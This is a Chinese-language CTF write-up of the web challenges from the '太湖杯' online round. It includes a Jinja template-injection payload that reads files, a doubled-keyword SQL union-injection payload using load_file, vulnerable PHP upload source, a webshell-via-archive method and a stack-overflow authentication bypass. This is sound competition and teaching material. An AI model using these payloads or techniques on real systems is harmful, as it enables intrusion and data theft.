太湖杯writeup

“太湖杯”线上赛和决赛都结束了，放上我们的线上赛web题的writeup

CheckInGame

checkInGame本题是个js游戏

设置个断点后，之后修改时间即可，然后把游戏玩完就行。

ezWeb

本题是模板注入

原始payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

过滤了{}和""，用︷︸和requests.args.path绕过

最终拿到flag

CrossFire

联合注入双写绕过。load_file直接读源码。

payload

-1' ununionion selselectect load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)%23

<?php
    error_reporting(0);
    session_start();
    include('config.php');

    $upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload);
    file_put_contents($upload.'/index.html', '');
    
    if(isset($_POST['submit'])){
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
            $filename=addslashes($_FILES['file']['name']);
            $sql="insert into img (filename) values ('$filename')";
            $conn->query($sql);
            $sql="select id from img where filename='$filename'";
            $result=$conn->query($sql);


            if ($result->num_rows > 0) {
                while($row = $result->fetch_assoc()) {
                    $id=$row["id"];
                }
            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            header("Location: index.php?id=$id");
            }
        }
    }

    elseif (isset($_GET['id'])){
        $id=addslashes($_GET['id']);
        $sql="select filename from img where id=$id";
        $result=$conn->query($sql);
        if ($result->num_rows > 0) {
            while($row = $result->fetch_assoc()) {
                $filename=$row["filename"];
            }
        $img=$upload.'/'.$filename;
        echo "<img src='$img'/>";
        }
    }

    elseif (isset($_POST['submit1'])){
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
            $filename=addslashes($_FILES['file']['name']);
            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            @exec("cd /tmp&&python3 /tar.py ".escapeshellarg('/var/www/html/'.$upload.'/'.$filename));
            }
        }
?>

config.php

$conn=mysqli_connect("localhost","root","root","shuyu"); 
if (mysqli_connect_error($conn))
{ 
    echo "???? MySQL ???: " . mysqli_connect_error(); 
} 
foreach ($_GET as $key => $value) {
	 $value= str_ireplace('\'','',$value);
	 $value= str_ireplace('"','',$value);
     $value= str_ireplace('union','',$value);
     $value= str_ireplace('select','',$value);
     $value= str_ireplace('from','',$value);
     $value= str_ireplace('or','',$value);
	 $_GET[$key] =$value;
 }
?>

上传一个压缩文件，然后解压，最后在upload/shell.php里面getshell，执行readflag

完后文件上传结合目录穿越拿shell flag{332a580f-b254-48fd-91b4-1d4fb6ad14fb}

ezMd5

http://122.112.253.121:10032/robots.txt

发现有个可疑目录，打开后是一个文件，明显是pwn题

auth.so

Php::Parameters *__fastcall auth(Php::Parameters *a1, __int64 a2)
{
  __int64 v2; // rax
  __int64 v3; // rax
  char v5; // [rsp+10h] [rbp-60h]
  char v6[8]; // [rsp+30h] [rbp-40h]
  unsigned __int64 v7; // [rsp+58h] [rbp-18h]
 
  v7 = __readfsqword(0x28u);
  strcpy(v6, "21232f297a57a5a743894a0e4a801fc3");
  v2 = std::vector<Php::Value,std::allocator<Php::Value>>::operator[](a2, 1LL);
  v3 = Php::Value::operator char const*(v2);
  strcpy(&v5, v3);
  Php::Value::Value(a1, v6, -1);
  return a1;
}

然后利用栈溢出可以覆盖返回值username =240610708password=CCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBQNKCDZO